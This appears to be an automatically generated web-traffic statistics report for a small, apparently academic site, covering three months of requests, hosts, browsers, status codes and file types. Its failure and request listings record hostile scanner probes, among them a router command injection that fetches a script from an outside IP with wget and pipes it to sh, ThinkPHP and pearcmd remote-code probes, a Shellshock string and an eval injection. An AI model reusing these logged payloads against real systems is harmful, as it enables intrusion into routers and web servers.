Program started at Thu-10-Jul-2025 00:08.
Analysed requests from Fri-11-Apr-2025 00:00 to Thu-10-Jul-2025 00:00 (90.00 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 10-Jul-2025 00:08.
Successful requests: 224,921 (16,961)
Average successful requests per day: 2,499 (2,422)
Successful requests for pages: 79,750 (5,959)
Average successful requests for pages per day: 886 (851)
Failed requests: 140,249 (10,113)
Redirected requests: 215,289 (8,083)
Distinct files requested: 4,545 (2,865)
Distinct hosts served: 21,062 (2,996)
Corrupt logfile lines: 162
Unwanted logfile entries: 819,751
Data transferred: 112.22 gigabytes (6.36 gigabytes)
Average data transferred per day: 1.25 gigabytes (931.04 megabytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 800 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Apr 2025 | 49185 | 20834 | ![]() ![]() ![]() ![]() |
May 2025 | 67083 | 25251 | ![]() |
Jun 2025 | 86942 | 25906 | ![]() ![]() |
Jul 2025 | 21711 | 7759 | ![]() ![]() |
Busiest month: Jun 2025 (25,906 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 400 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
6/Apr/25 | 2661 | 990 | ![]() ![]() |
13/Apr/25 | 22636 | 12183 | ![]() ![]() ![]() ![]() ![]() |
20/Apr/25 | 15749 | 5591 | ![]() ![]() ![]() |
27/Apr/25 | 14460 | 4826 | ![]() ![]() ![]() |
4/May/25 | 13922 | 5860 | ![]() ![]() ![]() ![]() |
11/May/25 | 20113 | 5737 | ![]() ![]() ![]() ![]() |
18/May/25 | 14329 | 5529 | ![]() ![]() ![]() |
25/May/25 | 12398 | 5369 | ![]() ![]() ![]() |
1/Jun/25 | 14318 | 5410 | ![]() ![]() ![]() |
8/Jun/25 | 30357 | 6064 | ![]() |
15/Jun/25 | 16354 | 5764 | ![]() ![]() ![]() ![]() |
22/Jun/25 | 21198 | 7248 | ![]() ![]() ![]() |
29/Jun/25 | 17691 | 5769 | ![]() ![]() ![]() ![]() |
6/Jul/25 | 8735 | 3410 | ![]() ![]() |
Busiest week: week beginning 13/Apr/25 (12,183 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 40 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
30/May/25 | 1641 | 585 | ![]() ![]() ![]() ![]() |
31/May/25 | 1914 | 794 | ![]() ![]() |
1/Jun/25 | 1901 | 929 | ![]() ![]() |
2/Jun/25 | 2244 | 977 | ![]() ![]() ![]() |
3/Jun/25 | 2083 | 534 | ![]() ![]() ![]() |
4/Jun/25 | 2266 | 840 | ![]() ![]() ![]() |
5/Jun/25 | 2712 | 960 | ![]() ![]() |
6/Jun/25 | 1675 | 629 | ![]() |
7/Jun/25 | 1437 | 541 | ![]() ![]() ![]() |
8/Jun/25 | 3510 | 1192 | ![]() ![]() ![]() ![]() |
9/Jun/25 | 1625 | 563 | ![]() ![]() ![]() ![]() |
10/Jun/25 | 1711 | 539 | ![]() ![]() ![]() |
11/Jun/25 | 13358 | 684 | ![]() ![]() |
12/Jun/25 | 2638 | 765 | ![]() ![]() |
13/Jun/25 | 5028 | 1433 | ![]() ![]() |
14/Jun/25 | 2487 | 888 | ![]() ![]() ![]() ![]() |
15/Jun/25 | 1818 | 548 | ![]() ![]() ![]() |
16/Jun/25 | 2335 | 681 | ![]() ![]() |
17/Jun/25 | 2053 | 765 | ![]() ![]() |
18/Jun/25 | 2852 | 668 | ![]() ![]() |
19/Jun/25 | 2573 | 982 | ![]() ![]() ![]() |
20/Jun/25 | 2928 | 1535 | ![]() ![]() ![]() ![]() |
21/Jun/25 | 1795 | 585 | ![]() ![]() ![]() ![]() |
22/Jun/25 | 3422 | 798 | ![]() ![]() |
23/Jun/25 | 2661 | 910 | ![]() ![]() ![]() ![]() |
24/Jun/25 | 2441 | 825 | ![]() ![]() ![]() |
25/Jun/25 | 2870 | 994 | ![]() ![]() ![]() |
26/Jun/25 | 3941 | 1547 | ![]() ![]() ![]() ![]() |
27/Jun/25 | 3087 | 1022 | ![]() ![]() ![]() |
28/Jun/25 | 2776 | 1152 | ![]() ![]() ![]() ![]() |
29/Jun/25 | 1826 | 589 | ![]() ![]() ![]() ![]() |
30/Jun/25 | 2889 | 831 | ![]() ![]() ![]() |
1/Jul/25 | 2554 | 1093 | ![]() ![]() ![]() |
2/Jul/25 | 2185 | 703 | ![]() ![]() |
3/Jul/25 | 2466 | 657 | ![]() ![]() |
4/Jul/25 | 3468 | 1137 | ![]() ![]() ![]() ![]() |
5/Jul/25 | 2303 | 759 | ![]() ![]() ![]() |
6/Jul/25 | 3192 | 1391 | ![]() ![]() ![]() |
7/Jul/25 | 2132 | 713 | ![]() ![]() |
8/Jul/25 | 1635 | 619 | ![]() |
9/Jul/25 | 1775 | 686 | ![]() ![]() |
10/Jul/25 | 1 | 1 | ![]() |
Busiest day: 16/Apr/25 (6,290 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 400 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 29971 | 10528 | ![]() ![]() ![]() ![]() |
Mon | 26775 | 9199 | ![]() ![]() ![]() ![]() |
Tue | 27167 | 9986 | ![]() ![]() ![]() |
Wed | 48433 | 15853 | ![]() ![]() |
Thu | 30872 | 10692 | ![]() ![]() ![]() ![]() |
Fri | 36605 | 14098 | ![]() ![]() |
Sat | 25098 | 9394 | ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 150 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 7267 | 3185 | ![]() ![]() ![]() |
1 | 8703 | 3254 | ![]() ![]() ![]() |
2 | 7816 | 2649 | ![]() ![]() |
3 | 8319 | 3103 | ![]() ![]() ![]() |
4 | 10152 | 3325 | ![]() ![]() ![]() ![]() |
5 | 9681 | 2760 | ![]() ![]() ![]() |
6 | 9779 | 3822 | ![]() ![]() ![]() |
7 | 8325 | 2667 | ![]() ![]() |
8 | 10968 | 3759 | ![]() ![]() ![]() |
9 | 9361 | 3352 | ![]() ![]() ![]() ![]() |
10 | 9315 | 2499 | ![]() ![]() |
11 | 9384 | 3203 | ![]() ![]() ![]() |
12 | 15500 | 3944 | ![]() ![]() ![]() ![]() |
13 | 12031 | 2598 | ![]() ![]() |
14 | 9397 | 3711 | ![]() ![]() ![]() |
15 | 8183 | 3789 | ![]() ![]() ![]() |
16 | 13389 | 5143 | ![]() ![]() ![]() |
17 | 12197 | 3911 | ![]() ![]() ![]() ![]() |
18 | 9421 | 3576 | ![]() ![]() |
19 | 7347 | 3524 | ![]() ![]() |
20 | 6703 | 2426 | ![]() ![]() |
21 | 7548 | 2804 | ![]() ![]() ![]() |
22 | 7358 | 3724 | ![]() ![]() ![]() |
23 | 6777 | 3022 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
224921 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
25103 | 39.97% | 20 |
19546 | 10.11% | 66.249 |
7021 | 0.79% | 34 |
6788 | 1.16% | 47 |
5280 | 2.58% | 114 |
5199 | 2.02% | 52 |
4503 | 1.02% | 216.244 |
4063 | 1.11% | 79 |
3923 | 0.28% | 85 |
3779 | 4.11% | 8 |
3464 | 0.09% | 43 |
3434 | 0.15% | 12 |
3059 | 0.26% | 217.113 |
3050 | 0.90% | 54 |
3006 | 0.11% | 4 |
2992 | 0.34% | 213.208 |
2407 | 4.13% | 216.73 |
2270 | 0.14% | 51 |
2203 | 0.39% | 45 |
2203 | 0.29% | 87 |
111628 | 30.06% | [not listed: 2,285 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
2357 | 0.09% | 4.28.172.242 |
2876 | 0.13% | 12.201.4.178 |
3151 | 7.21% | 20.3.0.255 |
3164 | 7.14% | 20.3.7.147 |
1484 | 2.56% | 20.171.207.24 |
1898 | 4.36% | 20.171.207.68 |
942 | 2.24% | 20.171.207.76 |
1367 | 0.63% | 20.171.207.82 |
578 | 1.81% | 20.171.207.84 |
2218 | 2.73% | 20.171.207.88 |
1914 | 2.08% | 20.171.207.114 |
2269 | 3.16% | 20.171.207.148 |
436 | 0.21% | 20.171.207.210 |
625 | 0.37% | 20.171.207.215 |
697 | 0.45% | 20.171.207.227 |
2298 | 2.91% | 20.171.207.228 |
436 | 0.02% | 31.193.51.79 |
848 | 34.59.250.44 | |
848 | 34.71.51.152 | |
848 | 34.72.123.64 | |
848 | 34.72.180.206 | |
848 | 34.172.5.168 | |
848 | 35.226.179.72 | |
772 | 65.21.35.195 | |
877 | 65.21.163.190 | |
740 | 0.41% | 66.249.64.70 |
746 | 0.35% | 66.249.64.71 |
572 | 0.26% | 66.249.64.72 |
2939 | 1.29% | 66.249.64.99 |
2945 | 1.38% | 66.249.64.100 |
2491 | 1.31% | 66.249.64.101 |
2068 | 1.06% | 66.249.70.35 |
2047 | 1.30% | 66.249.70.36 |
1861 | 1.31% | 66.249.70.37 |
725 | 0.66% | 78.38.193.25 |
1004 | 0.23% | 79.174.44.63 |
759 | 0.32% | 79.174.44.214 |
700 | 3.17% | 84.115.219.53 |
1295 | 0.12% | 87.224.1.207 |
1122 | 0.08% | 88.99.244.56 |
842 | 119.28.235.40 | |
1317 | 0.05% | 130.41.113.37 |
559 | 0.03% | 137.83.217.79 |
692 | 144.76.32.248 | |
771 | 149.248.13.145 | |
474 | 0.04% | 193.146.209.135 |
457 | 0.03% | 210.104.32.23 |
2938 | 0.33% | 213.208.173.67 |
1820 | 3.40% | 216.73.216.249 |
4499 | 1.02% | 216.244.66.243 |
153091 | 43.72% | [not listed: 21,012 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the vendors of visitors' browsers.
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
no. | reqs | pages | browser |
---|---|---|---|
1 | 95324 | 29263 | Chrome |
4577 | 4370 | Chrome/114 | |
4350 | 2868 | Chrome/119 | |
18150 | 2514 | Chrome/137 | |
12085 | 2438 | Chrome/136 | |
7321 | 2224 | Chrome/120 | |
11805 | 1893 | Chrome/135 | |
5000 | 1717 | Chrome/116 | |
929 | 916 | Chrome/58 | |
5182 | 714 | Chrome/134 | |
1030 | 686 | Chrome/125 | |
2 | 50676 | 22471 | Netscape (compatible) |
3 | 23322 | 7661 | Safari |
11044 | 4412 | Safari/604 | |
7280 | 2137 | Safari/537 | |
4522 | 992 | Safari/605 | |
54 | 47 | Safari/601 | |
35 | 18 | Safari/534 | |
24 | 12 | Safari/8536 | |
15 | 9 | Safari/533 | |
60 | 7 | Safari/602 | |
6 | 5 | Safari/530 | |
3 | 3 | Safari/125 | |
4 | 5090 | 5054 | Scrapy |
5088 | 5052 | Scrapy/2 | |
2 | 2 | Scrapy/1 | |
5 | 3515 | 3408 | MSIE |
97 | 60 | MSIE/7 | |
67 | 42 | MSIE/6 | |
72 | 39 | MSIE/8 | |
23 | 20 | MSIE/10 | |
19 | 16 | MSIE/9 | |
10 | 4 | MSIE/5 | |
6 | 18207 | 2972 | Firefox |
2712 | 393 | Firefox/136 | |
3356 | 287 | Firefox/139 | |
3346 | 274 | Firefox/138 | |
335 | 255 | Firefox/114 | |
204 | 177 | Firefox/109 | |
434 | 161 | Firefox/130 | |
345 | 154 | Firefox/126 | |
163 | 146 | Firefox/3 | |
181 | 140 | Firefox/57 | |
240 | 110 | Firefox/123 | |
7 | 1122 | 1112 | serpstatbot |
1122 | 1112 | serpstatbot/2 | |
8 | 1251 | 1073 | meta-externalagent |
1251 | 1073 | meta-externalagent/1 | |
9 | 434 | 422 | Sogou web spider |
434 | 422 | Sogou web spider/4 | |
10 | 404 | 398 | panscient.com |
11 | 518 | 296 | Go-http-client |
518 | 296 | Go-http-client/1 | |
12 | 321 | 275 | ZoominfoBot (zoominfobot at zoominfo dot com) |
13 | 366 | 233 | Python |
366 | 233 | Python/3 | |
14 | 230 | 230 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
230 | 230 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
15 | 3695 | 213 | AliyunSecBot |
3695 | 213 | AliyunSecBot/Aliyun | |
16 | 1171 | 208 | Mozilla |
3 | 3 | Mozilla/1 | |
1 | 1 | Mozilla/15 | |
17 | 206 | 193 | search.marginalia.nu |
18 | 653 | 161 | facebookexternalhit |
653 | 161 | facebookexternalhit/1 | |
19 | 436 | 159 | DuckDuckBot |
436 | 159 | DuckDuckBot/1 | |
20 | 589 | 158 | python-requests |
589 | 158 | python-requests/2 | |
14730 | 1236 | [not listed: 144 browsers] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the operating systems used by visitors.
Listing operating systems, sorted by the number of requests for pages.
no. | reqs | pages | OS |
---|---|---|---|
1 | 68419 | 30071 | OS unknown |
2 | 69250 | 20464 | Windows |
61302 | 15717 | Windows NT | |
3497 | 3425 | Unknown Windows | |
1427 | 602 | Windows 7 | |
1249 | 382 | Windows 98 | |
1467 | 205 | Windows XP | |
96 | 47 | Windows Vista | |
120 | 40 | Windows 8 | |
52 | 25 | Windows Server 2003 | |
32 | 18 | Windows 2000 | |
4 | 3 | Windows CE | |
2 | 0 | Windows 95 | |
2 | 0 | Windows ME | |
3 | 28958 | 10324 | Unix |
28835 | 10295 | Linux | |
111 | 19 | Other Unix | |
9 | 7 | FreeBSD | |
3 | 3 | NetBSD | |
4 | 25161 | 8307 | Known robots |
5 | 30465 | 8023 | Macintosh |
6 | 3 | 3 | OS/2 |
7 | 3 | 3 | Symbian OS |
8 | 1 | 1 | Palm OS |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the HTTP status codes of all requests.
Listing status codes, sorted numerically.
reqs | status code |
---|---|
207219 | 200 OK |
6378 | 206 Partial content |
212851 | 301 Document moved permanently |
2438 | 302 Document found elsewhere |
11324 | 304 Not modified since last retrieval |
3839 | 400 Bad request |
322 | 403 Access forbidden |
136020 | 404 Document not found |
1 | 405 Method not allowed |
19 | 408 Request timeout |
48 | 416 Requested range not valid |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the sizes of files.
size | reqs | %bytes |
---|---|---|
0 | 48 | |
1B- 10B | 0 | |
11B- 100B | 0 | |
101B- 1kB | 36209 | 0.01% |
1kB- 10kB | 47339 | 0.11% |
10kB-100kB | 99302 | 3.10% |
100kB- 1MB | 24078 | 6.81% |
1MB- 10MB | 16354 | 38.21% |
10MB-100MB | 1466 | 32.04% |
100MB- 1GB | 125 | 19.71% |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the extensions of files.
Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
reqs | %bytes | extension |
---|---|---|
22663 | 39.97% | .pdf [Adobe Portable Document Format] |
1109 | 23.33% | .pptx |
94479 | 18.85% | .jpg [JPEG graphics] |
86 | 6.36% | .mp4 |
602 | 3.51% | .ppt |
101 | 3.18% | .m4v |
20 | 0.84% | .zip [Zip archives] |
2 | 0.77% | .mov [Quick Time movie] |
399 | 0.76% | .doc [Microsoft Word document] |
6 | 0.60% | .MOV |
38140 | 0.35% | [directories] |
41522 | 0.28% | .html [Hypertext Markup Language] |
103 | 0.26% | .exe [Executables] |
97 | 0.18% | .xlsx |
18 | 0.17% | .avi [AVI movies] |
38 | 0.14% | .mp3 [MP3 sound files] |
53 | 0.11% | .docx |
14 | 0.11% | .rar |
25469 | 0.26% | [not listed: 16 extensions] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
62216 | 56.86% | /lab/ |
14302 | 17.33% | /c/ |
10083 | 10.25% | /publications/ |
91551 | 7.88% | /photo/ |
1314 | 4.21% | /adhoc/ |
2083 | 1.47% | /e/ |
36872 | 1.37% | [root directory] |
464 | 0.52% | /manuals/ |
839 | 0.04% | http:// |
720 | 0.03% | /korean-blog/ |
1459 | 0.03% | /stats/ |
1324 | 0.02% | /listfirm/ |
1694 | 0.01% | [not listed: 4 directories] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
1561 | /x16/x03/x01 |
328 | /cgi-bin/luci/ |
12 | /cgi-bin/luci/?form=country&operation=write&country=$(wget+http://45.125.66.79/x/tplink+-O-|sh) |
305 | * |
300 | /files/mail.js |
282 | /xmlrpc.php |
122 | /xmlrpc.php?rsd |
14 | /xmlrpc.php?p= |
12 | /xmlrpc.php?cmd=eval |
275 | /x16/x03/x02/x01o/x01 |
274 | /robots.txt |
230 | /.env |
207 | /index.php |
56 | /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello |
56 | /index.php?lang=../../../../../../../../tmp/index1 |
56 | /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php |
193 | /ads.txt |
188 | /wp-login.php |
183 | /x16/x03/x01/x02 |
176 | /scientific-program/ |
153 | /wordpress |
153 | /wp |
152 | /new |
152 | /old |
152 | /main |
145 | /home |
144 | /backup |
144 | /about.php |
14 | /about.php?p= |
12 | /about.php?525 |
143 | /bc |
143 | /bk |
143 | /apple-touch-icon.png |
140 | /apple-touch-icon-precomposed.png |
137 | /admin.php |
14 | /admin.php?p= |
127 | /x03 |
121 | / |
112 | /web/wp-includes/wlwmanifest.xml |
112 | /wp/wp-includes/wlwmanifest.xml |
133353 | [not listed: 76,343 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
15986 | 0.17% | 9/Jul/25 23:53 | / |
197 | 6/Jul/25 04:43 | /?author=3 | |
107 | 9/Jul/25 18:36 | /?XDEBUG_SESSION_START=phpstorm | |
66 | 6/Jul/25 04:42 | /?author=9 | |
65 | 6/Jul/25 04:44 | /?author=11 | |
61 | 6/Jul/25 04:43 | /?author=15 | |
59 | 5/Jul/25 00:51 | /?phpinfo=1 | |
55 | 6/Jul/25 04:30 | /?tellafriend=send-mail | |
48 | 6/Jul/25 04:45 | /?author=0 | |
31 | 8/Jul/25 18:16 | /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 7`H;/bin/uname -a;echo @ HTTP/1.0 | |
30 | 6/Jul/25 04:44 | /?author=10 | |
30 | 27/Jun/25 05:11 | /?author=19 | |
30 | 6/Jul/25 04:45 | /?author=1 | |
30 | 6/Jul/25 04:42 | /?author=7 | |
29 | 27/Jun/25 06:50 | /?author=20 | |
29 | 6/Jul/25 04:43 | /?author=5 | |
29 | 6/Jul/25 04:42 | /?author=6 | |
28 | 6/Jul/25 04:40 | /?s=Register | |
28 | 6/Jul/25 04:43 | /?author=4 | |
28 | 6/Jul/25 04:42 | /?author=8 | |
27 | 6/Jul/25 04:44 | /?author=12 | |
27 | 6/Jul/25 04:44 | /?author=13 | |
27 | 6/Jul/25 04:44 | /?author=14 | |
27 | 6/Jul/25 05:53 | /?author=18 | |
26 | 1/Jul/25 07:16 | /? | |
26 | 27/Jun/25 11:18 | /?subject=hafhcfdevcf | |
26 | 6/Jul/25 04:30 | /?s=vod-show-id35-mcid-6.html | |
26 | 6/Jul/25 04:43 | /?author=2 | |
26 | 6/Jul/25 04:35 | /?s=vod-show-id-1-mcid-33.html | |
25 | 27/Jun/25 13:53 | /?author=17 | |
25 | 6/Jul/25 04:36 | /?s=index/index/index | |
24 | 27/Jun/25 07:59 | /?author=16 | |
23 | 26/Jun/25 23:36 | /?data=1&filter=phpinfo | |
23 | 3/Jul/25 10:37 | /?s=captcha&test=@ eval ( $_POST [ a ] ) | |
22 | 27/Jun/25 03:39 | /?s=vod-show-id-3-mcid-109.html | |
20 | 27/Jun/25 10:58 | /?function=call_user_func_array&vars[0]=system&vars[1][]=echo zxcvvbnm | |
9076 | 9/Jul/25 23:55 | /robots.txt | |
3869 | 9/Jul/25 23:54 | /favicon.ico | |
2800 | 9/Jul/25 21:50 | /index_referring.html | |
1911 | 0.03% | 9/Jul/25 20:51 | /lab/ |
78 | 7/Jul/25 16:49 | /lab/?fb_locale=tr_TR | |
30 | 6/Jul/25 04:26 | /lab/?hootPostID=04a20cd17539990ada512e833c02d90f | |
